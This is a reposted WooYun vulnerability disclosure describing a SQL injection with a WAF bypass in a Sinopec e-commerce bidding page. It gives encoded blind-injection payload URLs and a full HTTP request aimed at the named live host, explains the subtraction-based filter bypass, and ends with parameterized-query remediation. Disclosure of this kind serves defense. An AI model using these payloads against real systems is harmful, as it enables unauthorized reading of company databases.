中国石油某电商SQL注入(waf绕过)

admin 2017年4月29日12:34:05评论298 views字数 227阅读0分45秒阅读模式
摘要

2016-05-17: 细节已通知厂商并且等待厂商处理中
2016-05-17: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-22: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2016-209558

漏洞标题: 中国石油某电商SQL注入(waf绕过)

相关厂商: 中国石油化工股份有限公司

漏洞作者: D&G

提交时间: 2016-05-17 09:59

公开时间: 2016-05-22 10:00

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: sqli 数据库安全

1人收藏


漏洞详情

披露状态:

2016-05-17: 细节已通知厂商并且等待厂商处理中
2016-05-17: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

当用户可控的数据未经过恰当的处理就进入了数据库执行的SQL语句中时,就可能存在SQL注入漏洞。攻击者可以定制特定的字符来改变SQL语句的语义。通过SQL注入漏洞可以造成多种危害,包括读取或者修改应用的数据,改变程序逻辑,提升权限和执行操作系统命令等。

详细说明:

1、漏洞触发页面以及对应功能:

http://mall.chemicals.sinopec.com/dzsc/bidmall/getBidMallMoreList.action?jj.ZMLDL=-1%27%20OR%20if(length(user())-1,6,6)=6%20AND%2000012=00012%20or%20%27DkSgiQgg%27=%27

中国石油某电商SQL注入(waf绕过)

2、漏洞复现具体流程,包含具体payload和完整的数据包:

测试发现截断字符,大于号,等于号等无法使用,系统返回500错误。最终探测信息poc

使用减号。如果相当减出来之后是0,则if判断会进入不一样的分支。

code 区域
GET /dzsc/bidmall/getBidMallMoreList.action?jj.ZMLDL=-1%27%20OR%20if(ASCII(mid(database(),1,1))-104,7,6)=6%20AND%2000012=00012%20or%20%27DkSgiQgg%27=%27 HTTP/1.1
Host: mall.chemicals.sinopec.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,fr;q=0.2
Cookie: JSESSIONID=2D4C561B2B07124EDD6773579357A2D2; JSESSIONID=D64F3BAE950E527075CB26C7119047F9
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alx-4.0
Connection: close

漏洞证明:

数据库相关信息证明,仅证明,未存储下载任何敏感信息

探测数据库用户

中国石油某电商SQL注入(waf绕过)

探测数据库为:

中国石油某电商SQL注入(waf绕过)

hx_dzsw

修复方案:

最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询(也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步,应用定义查询语句的结构,在语句中预留位置给用户输入。第二部,应用把每个位置需要的用户输入传递给数据库。因为第一步中,应用已经定义了语句的结构,数据库已经对语法进行了编译,第二部中及时传入恶意的用户输入也无法影响SQL语句的语意,从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档,寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的,所以不建议大家使用以下的方式防御SQL注入:一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号,改变了SQL的语法。但是如果变量类型是数字型,这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话,仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性,但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入。

版权声明:转载请注明来源 D&G@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-22 10:00

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-05-17 11:01 | Vinc ( 普通白帽子 | Rank:383 漏洞数:58 | 提莫队长正在待命!)

    0

    &G

  2. 2016-05-17 11:19 | D&G ( 普通白帽子 | Rank:780 漏洞数:69 | going)

    0

    我们是认真的。

  3. 2016-05-17 11:29 | Vinc ( 普通白帽子 | Rank:383 漏洞数:58 | 提莫队长正在待命!)

    0

    @D&G 我在你公司旁边 有空了 约一发

  4. 2016-05-23 12:13 | prolog ( 普通白帽子 | Rank:944 漏洞数:140 )

    0

    @Vinc @D&G +我们团队啊

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin